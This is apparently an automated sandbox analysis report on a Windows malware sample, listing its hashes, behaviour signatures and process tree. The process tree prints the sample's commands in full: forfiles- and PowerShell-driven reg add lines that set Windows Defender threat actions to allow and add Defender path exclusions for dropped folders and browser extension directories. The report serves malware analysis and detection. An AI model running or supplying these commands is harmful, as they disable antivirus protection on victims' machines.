Analysis

  • max time kernel
    136s
  • max time network
    105s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240910-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240910-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/10/2024, 12:35

General

  • Target

    2024-10-03_bc58787697d3dfab922e9bbe376c7055_bkransomware.exe

  • Size

    6.7MB

  • MD5

    bc58787697d3dfab922e9bbe376c7055

  • SHA1

    06c8a66f338c809e73d1e7453b39b65be3558aec

  • SHA256

    57dc9ae71f85b37c7968d4f3fea193ccb3d915d9afee8ec4fd165d3096f04561

  • SHA512

    3648e7bf20cb61ec35979c8a9bcd2255ea79f83b9b29a23396dba72fd144e17cee380acf730c3ebcb2648f9d2d50cda766034ab543079e995496cb1cc21616ba

  • SSDEEP

    196608:ebeOQSYdZtHckBGJ0soHJtOd4sGaVKJv2CSJG:EVYvVckBiQj5ak9S

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Indirect Command Execution 1 TTPs 5 IoCs

    Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 7 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 56 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-10-03_bc58787697d3dfab922e9bbe376c7055_bkransomware.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-10-03_bc58787697d3dfab922e9bbe376c7055_bkransomware.exe"
    1⤵
    • Checks computer location settings
    • Drops Chrome extension
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5116
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1004
      • C:\Windows\SysWOW64\forfiles.exe
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        3⤵
        • Indirect Command Execution
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3448
        • C:\Windows\SysWOW64\cmd.exe
          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3084
          • \??\c:\windows\SysWOW64\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2648
      • C:\Windows\SysWOW64\forfiles.exe
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        3⤵
        • Indirect Command Execution
        • Suspicious use of WriteProcessMemory
        PID:2840
        • C:\Windows\SysWOW64\cmd.exe
          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3176
          • \??\c:\windows\SysWOW64\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3656
      • C:\Windows\SysWOW64\forfiles.exe
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        3⤵
        • Indirect Command Execution
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5040
        • C:\Windows\SysWOW64\cmd.exe
          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3548
          • \??\c:\windows\SysWOW64\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
            5⤵
            • System Location Discovery: System Language Discovery
            PID:800
      • C:\Windows\SysWOW64\forfiles.exe
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        3⤵
        • Indirect Command Execution
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4916
        • C:\Windows\SysWOW64\cmd.exe
          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1976
          • \??\c:\windows\SysWOW64\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1036
      • C:\Windows\SysWOW64\forfiles.exe
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        3⤵
        • Indirect Command Execution
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:736
        • C:\Windows\SysWOW64\cmd.exe
          /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3064
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell start-process -WindowStyle Hidden gpupdate.exe /force
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1904
            • C:\Windows\SysWOW64\gpupdate.exe
              "C:\Windows\system32\gpupdate.exe" /force
              6⤵
                PID:2720
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4868
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4556
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
            4⤵
            • System Location Discovery: System Language Discovery
            PID:1500
        • C:\Windows\SysWOW64\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
          3⤵
            PID:4848
          • C:\Windows\SysWOW64\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
            3⤵
              PID:1096
            • C:\Windows\SysWOW64\reg.exe
              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
              3⤵
                PID:3444
              • C:\Windows\SysWOW64\reg.exe
                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                3⤵
                • System Location Discovery: System Language Discovery
                PID:3532
              • C:\Windows\SysWOW64\reg.exe
                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                3⤵
                  PID:960
                • C:\Windows\SysWOW64\reg.exe
                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                  3⤵
                    PID:1720
                  • C:\Windows\SysWOW64\reg.exe
                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                    3⤵
                      PID:4944
                    • C:\Windows\SysWOW64\reg.exe
                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:4612
                    • C:\Windows\SysWOW64\reg.exe
                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                      3⤵
                        PID:4840
                      • C:\Windows\SysWOW64\reg.exe
                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                        3⤵
                          PID:384
                        • C:\Windows\SysWOW64\reg.exe
                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                          3⤵
                            PID:668
                          • C:\Windows\SysWOW64\reg.exe
                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                            3⤵
                              PID:3528
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:1284
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                              3⤵
                                PID:4012
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                3⤵
                                  PID:1724
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                  3⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:2636
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:4348
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                  3⤵
                                    PID:4296
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                    3⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:1660
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:3568
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                    3⤵
                                      PID:844
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                      3⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:4024
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:4236
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:2764
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:1204
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:4500
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:3852
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\CMKMbRFSZeNU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\CMKMbRFSZeNU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JXqrxIFSrhCmC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JXqrxIFSrhCmC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\WxPudDgYHAKHzPDhsOR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\WxPudDgYHAKHzPDhsOR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YjQMAHbWU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YjQMAHbWU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dLghTkXXJYUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dLghTkXXJYUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\UQYVlFmkpVlhWwVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\UQYVlFmkpVlhWwVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\IntOZJXjzgIlwSrYA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\IntOZJXjzgIlwSrYA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\YIXdnjwIixpMFthL\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\YIXdnjwIixpMFthL\" /t REG_DWORD /d 0 /reg:64;"
                                            2⤵
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:2776
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CMKMbRFSZeNU2" /t REG_DWORD /d 0 /reg:32
                                              3⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:4916
                                              • C:\Windows\SysWOW64\reg.exe
                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CMKMbRFSZeNU2" /t REG_DWORD /d 0 /reg:32
                                                4⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:516
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CMKMbRFSZeNU2" /t REG_DWORD /d 0 /reg:64
                                              3⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:4928
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JXqrxIFSrhCmC" /t REG_DWORD /d 0 /reg:32
                                              3⤵
                                                PID:3600
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JXqrxIFSrhCmC" /t REG_DWORD /d 0 /reg:64
                                                3⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:3460
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WxPudDgYHAKHzPDhsOR" /t REG_DWORD /d 0 /reg:32
                                                3⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:4824
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WxPudDgYHAKHzPDhsOR" /t REG_DWORD /d 0 /reg:64
                                                3⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:3304
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YjQMAHbWU" /t REG_DWORD /d 0 /reg:32
                                                3⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:1168
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YjQMAHbWU" /t REG_DWORD /d 0 /reg:64
                                                3⤵
                                                  PID:212
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dLghTkXXJYUn" /t REG_DWORD /d 0 /reg:32
                                                  3⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:2368
                                                • C:\Windows\SysWOW64\reg.exe
